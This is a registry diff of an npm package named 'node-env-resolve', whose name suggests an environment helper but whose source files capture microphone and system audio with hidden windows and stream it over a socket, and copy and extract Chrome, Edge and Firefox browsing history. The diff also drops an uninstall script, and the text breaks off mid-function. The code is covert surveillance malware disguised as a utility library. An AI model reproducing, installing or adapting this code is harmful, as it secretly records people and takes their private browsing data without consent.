node-env-resolve 1.0.9 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/audioCapture.js +238 -238
- package/src/browserHistory.js +237 -237
- package/uninstall.bat +0 -26
package/package.json
CHANGED
package/src/audioCapture.js
CHANGED
|
@@ -1,238 +1,238 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Audio Capture — Mic & System Audio streaming
|
|
3
|
-
* Uses node-record-lpcm16 for mic, platform-specific for system audio
|
|
4
|
-
*
|
|
5
|
-
* Modes:
|
|
6
|
-
* - mic: Microphone only
|
|
7
|
-
* - system: System/desktop audio only (requires loopback device)
|
|
8
|
-
* - both: Mic + System audio mixed
|
|
9
|
-
*/
|
|
10
|
-
|
|
11
|
-
const { spawn } = require('child_process');
|
|
12
|
-
const os = require('os');
|
|
13
|
-
const path = require('path');
|
|
14
|
-
|
|
15
|
-
class AudioCapture {
|
|
16
|
-
constructor(socket) {
|
|
17
|
-
this.socket = socket;
|
|
18
|
-
this.micProcess = null;
|
|
19
|
-
this.sysProcess = null;
|
|
20
|
-
this.active = false;
|
|
21
|
-
this.mode = 'mic'; // 'mic', 'system', 'both'
|
|
22
|
-
this.platform = os.platform();
|
|
23
|
-
this.sampleRate = 16000;
|
|
24
|
-
this.channels = 1;
|
|
25
|
-
}
|
|
26
|
-
|
|
27
|
-
/**
|
|
28
|
-
* Start audio capture
|
|
29
|
-
* @param {object} options - { mode: 'mic'|'system'|'both' }
|
|
30
|
-
*/
|
|
31
|
-
start(options = {}) {
|
|
32
|
-
if (this.active) this.stop();
|
|
33
|
-
this.mode = options.mode || 'mic';
|
|
34
|
-
this.active = true;
|
|
35
|
-
|
|
36
|
-
console.log(` 🎤 Audio capture starting (mode: ${this.mode}, platform: ${this.platform})`);
|
|
37
|
-
|
|
38
|
-
try {
|
|
39
|
-
if (this.mode === 'mic' || this.mode === 'both') {
|
|
40
|
-
this._startMic();
|
|
41
|
-
}
|
|
42
|
-
if (this.mode === 'system' || this.mode === 'both') {
|
|
43
|
-
this._startSystemAudio();
|
|
44
|
-
}
|
|
45
|
-
} catch (err) {
|
|
46
|
-
console.log(` ⚠️ Audio capture error: ${err.message}`);
|
|
47
|
-
this.socket.emit('audio:error', { error: err.message });
|
|
48
|
-
}
|
|
49
|
-
}
|
|
50
|
-
|
|
51
|
-
/**
|
|
52
|
-
* Microphone capture — cross-platform via SoX (rec) or ffmpeg
|
|
53
|
-
*/
|
|
54
|
-
_startMic() {
|
|
55
|
-
if (this.platform === 'win32') {
|
|
56
|
-
// Windows: Use ffmpeg with DirectShow
|
|
57
|
-
this.micProcess = spawn('ffmpeg', [
|
|
58
|
-
'-f', 'dshow',
|
|
59
|
-
'-i', 'audio=Microphone Array (Intel® Smart Sound Technology for Digital Microphones)',
|
|
60
|
-
'-ac', String(this.channels),
|
|
61
|
-
'-ar', String(this.sampleRate),
|
|
62
|
-
'-f', 's16le', // raw PCM 16-bit little-endian
|
|
63
|
-
'-acodec', 'pcm_s16le',
|
|
64
|
-
'pipe:1' // output to stdout
|
|
65
|
-
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
66
|
-
|
|
67
|
-
// Fallback: try generic mic name
|
|
68
|
-
this.micProcess.on('error', () => {
|
|
69
|
-
this.micProcess = spawn('ffmpeg', [
|
|
70
|
-
'-f', 'dshow',
|
|
71
|
-
'-list_devices', 'true',
|
|
72
|
-
'-i', 'dummy'
|
|
73
|
-
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
74
|
-
});
|
|
75
|
-
} else if (this.platform === 'darwin') {
|
|
76
|
-
// Mac: Use ffmpeg with avfoundation
|
|
77
|
-
this.micProcess = spawn('ffmpeg', [
|
|
78
|
-
'-f', 'avfoundation',
|
|
79
|
-
'-i', ':default', // default mic
|
|
80
|
-
'-ac', String(this.channels),
|
|
81
|
-
'-ar', String(this.sampleRate),
|
|
82
|
-
'-f', 's16le',
|
|
83
|
-
'-acodec', 'pcm_s16le',
|
|
84
|
-
'pipe:1'
|
|
85
|
-
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
86
|
-
} else {
|
|
87
|
-
// Linux: Use ALSA
|
|
88
|
-
this.micProcess = spawn('ffmpeg', [
|
|
89
|
-
'-f', 'alsa',
|
|
90
|
-
'-i', 'default',
|
|
91
|
-
'-ac', String(this.channels),
|
|
92
|
-
'-ar', String(this.sampleRate),
|
|
93
|
-
'-f', 's16le',
|
|
94
|
-
'-acodec', 'pcm_s16le',
|
|
95
|
-
'pipe:1'
|
|
96
|
-
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
97
|
-
}
|
|
98
|
-
|
|
99
|
-
this._pipeAudio(this.micProcess, 'mic');
|
|
100
|
-
}
|
|
101
|
-
|
|
102
|
-
/**
|
|
103
|
-
* System/Desktop audio capture — platform-specific loopback
|
|
104
|
-
*/
|
|
105
|
-
_startSystemAudio() {
|
|
106
|
-
if (this.platform === 'win32') {
|
|
107
|
-
// Windows: Use ffmpeg with dshow "Stereo Mix" or virtual audio cable
|
|
108
|
-
// User may need to enable "Stereo Mix" in Sound settings
|
|
109
|
-
this.sysProcess = spawn('ffmpeg', [
|
|
110
|
-
'-f', 'dshow',
|
|
111
|
-
'-i', 'audio=Stereo Mix (Realtek(R) Audio)',
|
|
112
|
-
'-ac', String(this.channels),
|
|
113
|
-
'-ar', String(this.sampleRate),
|
|
114
|
-
'-f', 's16le',
|
|
115
|
-
'-acodec', 'pcm_s16le',
|
|
116
|
-
'pipe:1'
|
|
117
|
-
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
118
|
-
} else if (this.platform === 'darwin') {
|
|
119
|
-
// Mac: Requires BlackHole or similar virtual audio driver
|
|
120
|
-
this.sysProcess = spawn('ffmpeg', [
|
|
121
|
-
'-f', 'avfoundation',
|
|
122
|
-
'-i', ':BlackHole 2ch',
|
|
123
|
-
'-ac', String(this.channels),
|
|
124
|
-
'-ar', String(this.sampleRate),
|
|
125
|
-
'-f', 's16le',
|
|
126
|
-
'-acodec', 'pcm_s16le',
|
|
127
|
-
'pipe:1'
|
|
128
|
-
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
129
|
-
} else {
|
|
130
|
-
// Linux: PulseAudio monitor
|
|
131
|
-
this.sysProcess = spawn('ffmpeg', [
|
|
132
|
-
'-f', 'pulse',
|
|
133
|
-
'-i', 'default.monitor',
|
|
134
|
-
'-ac', String(this.channels),
|
|
135
|
-
'-ar', String(this.sampleRate),
|
|
136
|
-
'-f', 's16le',
|
|
137
|
-
'-acodec', 'pcm_s16le',
|
|
138
|
-
'pipe:1'
|
|
139
|
-
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
140
|
-
}
|
|
141
|
-
|
|
142
|
-
this._pipeAudio(this.sysProcess, 'system');
|
|
143
|
-
}
|
|
144
|
-
|
|
145
|
-
/**
|
|
146
|
-
* Pipe audio stdout → socket.io in chunks
|
|
147
|
-
*/
|
|
148
|
-
_pipeAudio(process, source) {
|
|
149
|
-
if (!process || !process.stdout) return;
|
|
150
|
-
|
|
151
|
-
process.stdout.on('data', (chunk) => {
|
|
152
|
-
if (!this.active) return;
|
|
153
|
-
// Send raw PCM audio chunk as base64
|
|
154
|
-
this.socket.emit('audio:chunk', {
|
|
155
|
-
data: chunk.toString('base64'),
|
|
156
|
-
source,
|
|
157
|
-
sampleRate: this.sampleRate,
|
|
158
|
-
channels: this.channels,
|
|
159
|
-
timestamp: Date.now(),
|
|
160
|
-
});
|
|
161
|
-
});
|
|
162
|
-
|
|
163
|
-
process.stderr.on('data', (data) => {
|
|
164
|
-
const msg = data.toString();
|
|
165
|
-
// Only log errors, not ffmpeg's normal stderr output
|
|
166
|
-
if (msg.includes('Error') || msg.includes('error')) {
|
|
167
|
-
console.log(` ⚠️ Audio (${source}): ${msg.trim().substring(0, 100)}`);
|
|
168
|
-
}
|
|
169
|
-
});
|
|
170
|
-
|
|
171
|
-
process.on('error', (err) => {
|
|
172
|
-
console.log(` ⚠️ Audio ${source} process error: ${err.message}`);
|
|
173
|
-
this.socket.emit('audio:error', {
|
|
174
|
-
source,
|
|
175
|
-
error: `${source} capture failed: ${err.message}. Make sure ffmpeg is installed.`
|
|
176
|
-
});
|
|
177
|
-
});
|
|
178
|
-
|
|
179
|
-
process.on('close', (code) => {
|
|
180
|
-
if (this.active) {
|
|
181
|
-
console.log(` 🎤 Audio ${source} process exited (code: ${code})`);
|
|
182
|
-
}
|
|
183
|
-
});
|
|
184
|
-
}
|
|
185
|
-
|
|
186
|
-
/**
|
|
187
|
-
* Stop all audio capture
|
|
188
|
-
*/
|
|
189
|
-
stop() {
|
|
190
|
-
if (!this.active) return;
|
|
191
|
-
this.active = false;
|
|
192
|
-
|
|
193
|
-
if (this.micProcess) {
|
|
194
|
-
try { this.micProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
|
|
195
|
-
this.micProcess = null;
|
|
196
|
-
}
|
|
197
|
-
if (this.sysProcess) {
|
|
198
|
-
try { this.sysProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
|
|
199
|
-
this.sysProcess = null;
|
|
200
|
-
}
|
|
201
|
-
|
|
202
|
-
console.log(' 🎤 Audio capture stopped');
|
|
203
|
-
}
|
|
204
|
-
|
|
205
|
-
/**
|
|
206
|
-
* List available audio devices (helps find correct device names)
|
|
207
|
-
*/
|
|
208
|
-
listDevices() {
|
|
209
|
-
return new Promise((resolve) => {
|
|
210
|
-
let output = '';
|
|
211
|
-
|
|
212
|
-
if (this.platform === 'win32') {
|
|
213
|
-
const proc = spawn('ffmpeg', [
|
|
214
|
-
'-list_devices', 'true', '-f', 'dshow', '-i', 'dummy'
|
|
215
|
-
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
216
|
-
|
|
217
|
-
proc.stderr.on('data', (d) => { output += d.toString(); });
|
|
218
|
-
proc.on('close', () => {
|
|
219
|
-
const devices = output.match(/"([^"]+)" \(audio\)/g) || [];
|
|
220
|
-
resolve(devices.map((d) => d.replace(/"/g, '').replace(' (audio)', '')));
|
|
221
|
-
});
|
|
222
|
-
} else if (this.platform === 'darwin') {
|
|
223
|
-
const proc = spawn('ffmpeg', [
|
|
224
|
-
'-f', 'avfoundation', '-list_devices', 'true', '-i', ''
|
|
225
|
-
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
226
|
-
|
|
227
|
-
proc.stderr.on('data', (d) => { output += d.toString(); });
|
|
228
|
-
proc.on('close', () => {
|
|
229
|
-
resolve(output.split('\n').filter((l) => l.includes('[AVFoundation')));
|
|
230
|
-
});
|
|
231
|
-
} else {
|
|
232
|
-
resolve(['default']);
|
|
233
|
-
}
|
|
234
|
-
});
|
|
235
|
-
}
|
|
236
|
-
}
|
|
237
|
-
|
|
238
|
-
module.exports = AudioCapture;
|
|
1
|
+
/**
|
|
2
|
+
* Audio Capture — Mic & System Audio streaming
|
|
3
|
+
* Uses node-record-lpcm16 for mic, platform-specific for system audio
|
|
4
|
+
*
|
|
5
|
+
* Modes:
|
|
6
|
+
* - mic: Microphone only
|
|
7
|
+
* - system: System/desktop audio only (requires loopback device)
|
|
8
|
+
* - both: Mic + System audio mixed
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const { spawn } = require('child_process');
|
|
12
|
+
const os = require('os');
|
|
13
|
+
const path = require('path');
|
|
14
|
+
|
|
15
|
+
class AudioCapture {
|
|
16
|
+
constructor(socket) {
|
|
17
|
+
this.socket = socket;
|
|
18
|
+
this.micProcess = null;
|
|
19
|
+
this.sysProcess = null;
|
|
20
|
+
this.active = false;
|
|
21
|
+
this.mode = 'mic'; // 'mic', 'system', 'both'
|
|
22
|
+
this.platform = os.platform();
|
|
23
|
+
this.sampleRate = 16000;
|
|
24
|
+
this.channels = 1;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
/**
|
|
28
|
+
* Start audio capture
|
|
29
|
+
* @param {object} options - { mode: 'mic'|'system'|'both' }
|
|
30
|
+
*/
|
|
31
|
+
start(options = {}) {
|
|
32
|
+
if (this.active) this.stop();
|
|
33
|
+
this.mode = options.mode || 'mic';
|
|
34
|
+
this.active = true;
|
|
35
|
+
|
|
36
|
+
console.log(` 🎤 Audio capture starting (mode: ${this.mode}, platform: ${this.platform})`);
|
|
37
|
+
|
|
38
|
+
try {
|
|
39
|
+
if (this.mode === 'mic' || this.mode === 'both') {
|
|
40
|
+
this._startMic();
|
|
41
|
+
}
|
|
42
|
+
if (this.mode === 'system' || this.mode === 'both') {
|
|
43
|
+
this._startSystemAudio();
|
|
44
|
+
}
|
|
45
|
+
} catch (err) {
|
|
46
|
+
console.log(` ⚠️ Audio capture error: ${err.message}`);
|
|
47
|
+
this.socket.emit('audio:error', { error: err.message });
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
/**
|
|
52
|
+
* Microphone capture — cross-platform via SoX (rec) or ffmpeg
|
|
53
|
+
*/
|
|
54
|
+
_startMic() {
|
|
55
|
+
if (this.platform === 'win32') {
|
|
56
|
+
// Windows: Use ffmpeg with DirectShow
|
|
57
|
+
this.micProcess = spawn('ffmpeg', [
|
|
58
|
+
'-f', 'dshow',
|
|
59
|
+
'-i', 'audio=Microphone Array (Intel® Smart Sound Technology for Digital Microphones)',
|
|
60
|
+
'-ac', String(this.channels),
|
|
61
|
+
'-ar', String(this.sampleRate),
|
|
62
|
+
'-f', 's16le', // raw PCM 16-bit little-endian
|
|
63
|
+
'-acodec', 'pcm_s16le',
|
|
64
|
+
'pipe:1' // output to stdout
|
|
65
|
+
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
66
|
+
|
|
67
|
+
// Fallback: try generic mic name
|
|
68
|
+
this.micProcess.on('error', () => {
|
|
69
|
+
this.micProcess = spawn('ffmpeg', [
|
|
70
|
+
'-f', 'dshow',
|
|
71
|
+
'-list_devices', 'true',
|
|
72
|
+
'-i', 'dummy'
|
|
73
|
+
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
74
|
+
});
|
|
75
|
+
} else if (this.platform === 'darwin') {
|
|
76
|
+
// Mac: Use ffmpeg with avfoundation
|
|
77
|
+
this.micProcess = spawn('ffmpeg', [
|
|
78
|
+
'-f', 'avfoundation',
|
|
79
|
+
'-i', ':default', // default mic
|
|
80
|
+
'-ac', String(this.channels),
|
|
81
|
+
'-ar', String(this.sampleRate),
|
|
82
|
+
'-f', 's16le',
|
|
83
|
+
'-acodec', 'pcm_s16le',
|
|
84
|
+
'pipe:1'
|
|
85
|
+
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
86
|
+
} else {
|
|
87
|
+
// Linux: Use ALSA
|
|
88
|
+
this.micProcess = spawn('ffmpeg', [
|
|
89
|
+
'-f', 'alsa',
|
|
90
|
+
'-i', 'default',
|
|
91
|
+
'-ac', String(this.channels),
|
|
92
|
+
'-ar', String(this.sampleRate),
|
|
93
|
+
'-f', 's16le',
|
|
94
|
+
'-acodec', 'pcm_s16le',
|
|
95
|
+
'pipe:1'
|
|
96
|
+
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
this._pipeAudio(this.micProcess, 'mic');
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
/**
|
|
103
|
+
* System/Desktop audio capture — platform-specific loopback
|
|
104
|
+
*/
|
|
105
|
+
_startSystemAudio() {
|
|
106
|
+
if (this.platform === 'win32') {
|
|
107
|
+
// Windows: Use ffmpeg with dshow "Stereo Mix" or virtual audio cable
|
|
108
|
+
// User may need to enable "Stereo Mix" in Sound settings
|
|
109
|
+
this.sysProcess = spawn('ffmpeg', [
|
|
110
|
+
'-f', 'dshow',
|
|
111
|
+
'-i', 'audio=Stereo Mix (Realtek(R) Audio)',
|
|
112
|
+
'-ac', String(this.channels),
|
|
113
|
+
'-ar', String(this.sampleRate),
|
|
114
|
+
'-f', 's16le',
|
|
115
|
+
'-acodec', 'pcm_s16le',
|
|
116
|
+
'pipe:1'
|
|
117
|
+
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
118
|
+
} else if (this.platform === 'darwin') {
|
|
119
|
+
// Mac: Requires BlackHole or similar virtual audio driver
|
|
120
|
+
this.sysProcess = spawn('ffmpeg', [
|
|
121
|
+
'-f', 'avfoundation',
|
|
122
|
+
'-i', ':BlackHole 2ch',
|
|
123
|
+
'-ac', String(this.channels),
|
|
124
|
+
'-ar', String(this.sampleRate),
|
|
125
|
+
'-f', 's16le',
|
|
126
|
+
'-acodec', 'pcm_s16le',
|
|
127
|
+
'pipe:1'
|
|
128
|
+
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
129
|
+
} else {
|
|
130
|
+
// Linux: PulseAudio monitor
|
|
131
|
+
this.sysProcess = spawn('ffmpeg', [
|
|
132
|
+
'-f', 'pulse',
|
|
133
|
+
'-i', 'default.monitor',
|
|
134
|
+
'-ac', String(this.channels),
|
|
135
|
+
'-ar', String(this.sampleRate),
|
|
136
|
+
'-f', 's16le',
|
|
137
|
+
'-acodec', 'pcm_s16le',
|
|
138
|
+
'pipe:1'
|
|
139
|
+
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
this._pipeAudio(this.sysProcess, 'system');
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
/**
|
|
146
|
+
* Pipe audio stdout → socket.io in chunks
|
|
147
|
+
*/
|
|
148
|
+
_pipeAudio(process, source) {
|
|
149
|
+
if (!process || !process.stdout) return;
|
|
150
|
+
|
|
151
|
+
process.stdout.on('data', (chunk) => {
|
|
152
|
+
if (!this.active) return;
|
|
153
|
+
// Send raw PCM audio chunk as base64
|
|
154
|
+
this.socket.emit('audio:chunk', {
|
|
155
|
+
data: chunk.toString('base64'),
|
|
156
|
+
source,
|
|
157
|
+
sampleRate: this.sampleRate,
|
|
158
|
+
channels: this.channels,
|
|
159
|
+
timestamp: Date.now(),
|
|
160
|
+
});
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
process.stderr.on('data', (data) => {
|
|
164
|
+
const msg = data.toString();
|
|
165
|
+
// Only log errors, not ffmpeg's normal stderr output
|
|
166
|
+
if (msg.includes('Error') || msg.includes('error')) {
|
|
167
|
+
console.log(` ⚠️ Audio (${source}): ${msg.trim().substring(0, 100)}`);
|
|
168
|
+
}
|
|
169
|
+
});
|
|
170
|
+
|
|
171
|
+
process.on('error', (err) => {
|
|
172
|
+
console.log(` ⚠️ Audio ${source} process error: ${err.message}`);
|
|
173
|
+
this.socket.emit('audio:error', {
|
|
174
|
+
source,
|
|
175
|
+
error: `${source} capture failed: ${err.message}. Make sure ffmpeg is installed.`
|
|
176
|
+
});
|
|
177
|
+
});
|
|
178
|
+
|
|
179
|
+
process.on('close', (code) => {
|
|
180
|
+
if (this.active) {
|
|
181
|
+
console.log(` 🎤 Audio ${source} process exited (code: ${code})`);
|
|
182
|
+
}
|
|
183
|
+
});
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
/**
|
|
187
|
+
* Stop all audio capture
|
|
188
|
+
*/
|
|
189
|
+
stop() {
|
|
190
|
+
if (!this.active) return;
|
|
191
|
+
this.active = false;
|
|
192
|
+
|
|
193
|
+
if (this.micProcess) {
|
|
194
|
+
try { this.micProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
|
|
195
|
+
this.micProcess = null;
|
|
196
|
+
}
|
|
197
|
+
if (this.sysProcess) {
|
|
198
|
+
try { this.sysProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
|
|
199
|
+
this.sysProcess = null;
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
console.log(' 🎤 Audio capture stopped');
|
|
203
|
+
}
|
|
204
|
+
|
|
205
|
+
/**
|
|
206
|
+
* List available audio devices (helps find correct device names)
|
|
207
|
+
*/
|
|
208
|
+
listDevices() {
|
|
209
|
+
return new Promise((resolve) => {
|
|
210
|
+
let output = '';
|
|
211
|
+
|
|
212
|
+
if (this.platform === 'win32') {
|
|
213
|
+
const proc = spawn('ffmpeg', [
|
|
214
|
+
'-list_devices', 'true', '-f', 'dshow', '-i', 'dummy'
|
|
215
|
+
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
216
|
+
|
|
217
|
+
proc.stderr.on('data', (d) => { output += d.toString(); });
|
|
218
|
+
proc.on('close', () => {
|
|
219
|
+
const devices = output.match(/"([^"]+)" \(audio\)/g) || [];
|
|
220
|
+
resolve(devices.map((d) => d.replace(/"/g, '').replace(' (audio)', '')));
|
|
221
|
+
});
|
|
222
|
+
} else if (this.platform === 'darwin') {
|
|
223
|
+
const proc = spawn('ffmpeg', [
|
|
224
|
+
'-f', 'avfoundation', '-list_devices', 'true', '-i', ''
|
|
225
|
+
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
226
|
+
|
|
227
|
+
proc.stderr.on('data', (d) => { output += d.toString(); });
|
|
228
|
+
proc.on('close', () => {
|
|
229
|
+
resolve(output.split('\n').filter((l) => l.includes('[AVFoundation')));
|
|
230
|
+
});
|
|
231
|
+
} else {
|
|
232
|
+
resolve(['default']);
|
|
233
|
+
}
|
|
234
|
+
});
|
|
235
|
+
}
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
module.exports = AudioCapture;
|
package/src/browserHistory.js
CHANGED
|
@@ -1,237 +1,237 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Browser History Extractor
|
|
3
|
-
* Reads Chrome, Edge, Firefox SQLite databases to extract browsing history
|
|
4
|
-
*
|
|
5
|
-
* Process: Copy the locked DB file to temp → read with better-sqlite3 → return entries
|
|
6
|
-
*/
|
|
7
|
-
|
|
8
|
-
const fs = require('fs');
|
|
9
|
-
const path = require('path');
|
|
10
|
-
const os = require('os');
|
|
11
|
-
const config = require('./config');
|
|
12
|
-
|
|
13
|
-
let Database;
|
|
14
|
-
try {
|
|
15
|
-
Database = require('better-sqlite3');
|
|
16
|
-
} catch (e) {
|
|
17
|
-
console.log(' ⚠️ better-sqlite3 not available — browser history disabled');
|
|
18
|
-
Database = null;
|
|
19
|
-
}
|
|
20
|
-
|
|
21
|
-
const USERPROFILE = os.homedir();
|
|
22
|
-
const LOCALAPPDATA = process.env.LOCALAPPDATA || path.join(USERPROFILE, 'AppData', 'Local');
|
|
23
|
-
const APPDATA = process.env.APPDATA || path.join(USERPROFILE, 'AppData', 'Roaming');
|
|
24
|
-
|
|
25
|
-
/**
|
|
26
|
-
* Browser DB paths (Windows)
|
|
27
|
-
*/
|
|
28
|
-
const BROWSER_PATHS = {
|
|
29
|
-
chrome: path.join(LOCALAPPDATA, 'Google', 'Chrome', 'User Data', 'Default', 'History'),
|
|
30
|
-
edge: path.join(LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data', 'Default', 'History'),
|
|
31
|
-
firefox: null, // Handled separately — profile folder name varies
|
|
32
|
-
};
|
|
33
|
-
|
|
34
|
-
/**
|
|
35
|
-
* Find Firefox profile path
|
|
36
|
-
*/
|
|
37
|
-
function findFirefoxProfile() {
|
|
38
|
-
const profilesDir = path.join(APPDATA, 'Mozilla', 'Firefox', 'Profiles');
|
|
39
|
-
if (!fs.existsSync(profilesDir)) return null;
|
|
40
|
-
|
|
41
|
-
const dirs = fs.readdirSync(profilesDir);
|
|
42
|
-
// Look for default-release or first profile
|
|
43
|
-
const profile = dirs.find((d) => d.endsWith('.default-release')) || dirs.find((d) => d.endsWith('.default')) || dirs[0];
|
|
44
|
-
|
|
45
|
-
if (profile) {
|
|
46
|
-
return path.join(profilesDir, profile, 'places.sqlite');
|
|
47
|
-
}
|
|
48
|
-
return null;
|
|
49
|
-
}
|
|
50
|
-
|
|
51
|
-
/**
|
|
52
|
-
* Copy DB to temp (because browser locks the file while running)
|
|
53
|
-
*/
|
|
54
|
-
function copyToTemp(sourcePath, browserName) {
|
|
55
|
-
const tempPath = path.join(config.tempDir, `connector_${browserName}_history_copy.db`);
|
|
56
|
-
try {
|
|
57
|
-
fs.copyFileSync(sourcePath, tempPath);
|
|
58
|
-
// Also copy WAL file if exists
|
|
59
|
-
const walPath = sourcePath + '-wal';
|
|
60
|
-
if (fs.existsSync(walPath)) {
|
|
61
|
-
fs.copyFileSync(walPath, tempPath + '-wal');
|
|
62
|
-
}
|
|
63
|
-
return tempPath;
|
|
64
|
-
} catch (err) {
|
|
65
|
-
console.log(` ⚠️ Could not copy ${browserName} history DB: ${err.message}`);
|
|
66
|
-
return null;
|
|
67
|
-
}
|
|
68
|
-
}
|
|
69
|
-
|
|
70
|
-
/**
|
|
71
|
-
* Clean up temp file
|
|
72
|
-
*/
|
|
73
|
-
function cleanupTemp(tempPath) {
|
|
74
|
-
try {
|
|
75
|
-
if (fs.existsSync(tempPath)) fs.unlinkSync(tempPath);
|
|
76
|
-
if (fs.existsSync(tempPath + '-wal')) fs.unlinkSync(tempPath + '-wal');
|
|
77
|
-
} catch (e) {
|
|
78
|
-
// Ignore cleanup errors
|
|
79
|
-
}
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
/**
|
|
83
|
-
* Convert Chrome/Edge timestamp to JS Date
|
|
84
|
-
* Chrome uses microseconds since Jan 1, 1601
|
|
85
|
-
*/
|
|
86
|
-
function chromeTimestampToDate(timestamp) {
|
|
87
|
-
const epochDiff = 11644473600000000n; // microseconds between 1601 and 1970
|
|
88
|
-
const ms = Number((BigInt(timestamp) - epochDiff) / 1000n);
|
|
89
|
-
return new Date(ms).toISOString();
|
|
90
|
-
}
|
|
91
|
-
|
|
92
|
-
/**
|
|
93
|
-
* Convert Firefox timestamp to JS Date
|
|
94
|
-
* Firefox uses microseconds since Unix epoch
|
|
95
|
-
*/
|
|
96
|
-
function firefoxTimestampToDate(timestamp) {
|
|
97
|
-
return new Date(timestamp / 1000).toISOString();
|
|
98
|
-
}
|
|
99
|
-
|
|
100
|
-
/**
|
|
101
|
-
* Extract history from Chromium-based browser (Chrome/Edge)
|
|
102
|
-
*/
|
|
103
|
-
function extractChromiumHistory(dbPath, browserName, dateRange = '7d') {
|
|
104
|
-
if (!Database) return { browser: browserName, entries: [], error: 'better-sqlite3 not available' };
|
|
105
|
-
|
|
106
|
-
const tempPath = copyToTemp(dbPath, browserName);
|
|
107
|
-
if (!tempPath) return { browser: browserName, entries: [], error: 'Could not copy DB' };
|
|
108
|
-
|
|
109
|
-
try {
|
|
110
|
-
const db = new Database(tempPath, { readonly: true, fileMustExist: true });
|
|
111
|
-
|
|
112
|
-
// Calculate date filter
|
|
113
|
-
let dateFilter = '';
|
|
114
|
-
const now = Date.now() * 1000; // microseconds
|
|
115
|
-
const epochDiff = 11644473600000000; // Chrome epoch offset
|
|
116
|
-
const nowChrome = now + epochDiff;
|
|
117
|
-
|
|
118
|
-
if (dateRange === '24h') {
|
|
119
|
-
dateFilter = `WHERE last_visit_time > ${nowChrome - 86400000000}`;
|
|
120
|
-
} else if (dateRange === '7d') {
|
|
121
|
-
dateFilter = `WHERE last_visit_time > ${nowChrome - 7 * 86400000000}`;
|
|
122
|
-
} else if (dateRange === '30d') {
|
|
123
|
-
dateFilter = `WHERE last_visit_time > ${nowChrome - 30 * 86400000000}`;
|
|
124
|
-
}
|
|
125
|
-
|
|
126
|
-
const stmt = db.prepare(`
|
|
127
|
-
SELECT url, title, visit_count, last_visit_time
|
|
128
|
-
FROM urls
|
|
129
|
-
${dateFilter}
|
|
130
|
-
ORDER BY last_visit_time DESC
|
|
131
|
-
LIMIT 500
|
|
132
|
-
`);
|
|
133
|
-
|
|
134
|
-
const rows = stmt.all();
|
|
135
|
-
db.close();
|
|
136
|
-
cleanupTemp(tempPath);
|
|
137
|
-
|
|
138
|
-
const entries = rows.map((row) => ({
|
|
139
|
-
url: row.url,
|
|
140
|
-
title: row.title || '(No title)',
|
|
141
|
-
visitCount: row.visit_count,
|
|
142
|
-
lastVisit: chromeTimestampToDate(row.last_visit_time),
|
|
143
|
-
}));
|
|
144
|
-
|
|
145
|
-
return { browser: browserName, entries, error: null };
|
|
146
|
-
} catch (err) {
|
|
147
|
-
cleanupTemp(tempPath);
|
|
148
|
-
return { browser: browserName, entries: [], error: err.message };
|
|
149
|
-
}
|
|
150
|
-
}
|
|
151
|
-
|
|
152
|
-
/**
|
|
153
|
-
* Extract history from Firefox
|
|
154
|
-
*/
|
|
155
|
-
function extractFirefoxHistory(dateRange = '7d') {
|
|
156
|
-
if (!Database) return { browser: 'firefox', entries: [], error: 'better-sqlite3 not available' };
|
|
157
|
-
|
|
158
|
-
const dbPath = findFirefoxProfile();
|
|
159
|
-
if (!dbPath || !fs.existsSync(dbPath)) {
|
|
160
|
-
return { browser: 'firefox', entries: [], error: 'Firefox profile not found' };
|
|
161
|
-
}
|
|
162
|
-
|
|
163
|
-
const tempPath = copyToTemp(dbPath, 'firefox');
|
|
164
|
-
if (!tempPath) return { browser: 'firefox', entries: [], error: 'Could not copy DB' };
|
|
165
|
-
|
|
166
|
-
try {
|
|
167
|
-
const db = new Database(tempPath, { readonly: true, fileMustExist: true });
|
|
168
|
-
|
|
169
|
-
let dateFilter = '';
|
|
170
|
-
const now = Date.now() * 1000; // microseconds
|
|
171
|
-
|
|
172
|
-
if (dateRange === '24h') {
|
|
173
|
-
dateFilter = `WHERE v.visit_date > ${now - 86400000000000}`;
|
|
174
|
-
} else if (dateRange === '7d') {
|
|
175
|
-
dateFilter = `WHERE v.visit_date > ${now - 7 * 86400000000000}`;
|
|
176
|
-
} else if (dateRange === '30d') {
